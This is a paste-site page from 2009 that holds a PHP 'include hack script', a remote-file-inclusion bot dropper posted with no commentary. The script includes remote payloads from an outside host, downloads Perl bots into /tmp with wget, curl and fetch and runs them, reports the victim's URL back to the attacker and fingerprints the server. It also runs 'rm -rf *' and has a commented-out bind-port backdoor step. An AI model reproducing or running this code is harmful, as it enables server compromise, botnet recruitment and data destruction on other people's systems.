PHP - "include hack script" - Kashub's Code Barn

<!--[B.O.V]-->
<html>
<style> body { font:10pt tahoma;color:#808080;background:black;margin:4; } a    { color:#3366FF;text-decoration:none; } </style>
<body>
<?php
echo(base64_decode('JVJGSSU='));
echo('<BR>');
@ini_restore('safe_mode');@ini_set('default_socket_timeout', 2);@error_reporting(0);@set_time_limit(0);@ignore_user_abort();
$modez = $_GET["mode"];
 
$url = "http://latinintel-tc.com/home/";
 
switch ($modez) {
case "phpbot": include($url.'pbot.txt');
break;
case "sqlbot": include($url.'psql.txt');
break;
case "safe":
@file($url.'safe.php?rfi='.base64_encode($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']));
break;
case "bot": 
    echo fx29exec('cd /tmp;wget '.$url.'');
    echo fx29exec('cd /tmp;curl -O '.$url.'');
    echo fx29exec('cd /tmp;fetch '.$url.''); 
    echo fx29exec('cd /tmp;/usr/bin/perl ');
    echo fx29exec('cd /tmp;rm -rf *');
break;
case "killer": 
    echo fx29exec('cd /tmp;killall -9 perl');
    echo fx29exec('killall -9 perl');
break;
case "perlbot": 
    echo fx29exec('cd /tmp;wget '.$url.'so.txt');
    echo fx29exec('cd /tmp;curl -O '.$url.'so.txt');
    echo fx29exec('cd /tmp;/usr/bin/perl so.txt');
    echo fx29exec('cd /tmp;rm -rf so.txt');
break;
/*
case "bindport": 
    echo fx29exec('cd /tmp;wget '.$url.'bd.v');
    echo fx29exec('cd /tmp;curl -O '.$url.'bd.v');
    echo fx29exec('cd /tmp;/usr/bin/perl bdv');
    echo fx29exec('cd /tmp;rm -rf bd.v');
break;
*/
case "id": 
$P   = @getcwd();
$IP  = @getenv("SERVER_ADDR");
$UID = fx29exec("id");
fx("SAFE",@safemode()?"ON":"OFF");
fx("OS",@PHP_OS);
fx("UNAME",@php_uname());
fx("SERVER",($IP)?$IP:"-");
fx("USER",@get_current_user());
fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());
fx("DIR",$P);
fx("PERM",(@is_writable($P))?"[W]":"[R]");
fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));
fx("DISFUNC",@getdisfunc());
 
break;
}
 
function fx($t,$c) { echo "$t: "; echo (is_array($c))?join(" ",$c):$c; echo "<br>"; }
function safemode() { return (@ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) ? TRUE : FALSE; }
function getdisfunc() { $rez = explode(",",@ini_get("disable_functions")); return (!empty($rez))?$rez:array(); }
function enabled($func) { return (function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) ? TRUE : FALSE; }
function fx29exec($cmd) {
  if (enabled("exec")) { exec($cmd,$o); $rez = join("\r\n",$o); }
  elseif (enabled("shell_exec")) { $rez = shell_exec($cmd); }
  elseif (enabled("system")) { @ob_start(); @system($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }  
  elseif (enabled("passthru")) { @ob_start(); passthru($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
  elseif (enabled("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')) ) { while ( !feof($h) ) { $rez .= fread($h, 2096);  } pclose($h); }
  else { $rez = "Error!"; }
  return $rez;
}
function vsize($size) {
  if (!is_numeric($size)) { return FALSE; }
  else {
    if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; }
    elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; }
    elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; }
    else { $size = $size . " B"; }
    return $size;
  }
}
function hdd($type) {
  $P = @getcwd(); $T = @disk_total_space($P); $F = @disk_free_space($P); $U = $T - $U;
  $hddspace = array("total" => vsize($T), "free"  => vsize($F), "used"  => vsize($U));
  return $hddspace[$type];
}
 
@die(base64_decode('Qi5PLlYgU2llbmNlIDIwMDk='));	
 
?>
</body></html>
Kashub's Code Barn - "include hack script"

podświetlone jako php (dodał(a) bovsp @ 2009-09-27 14:02:51)
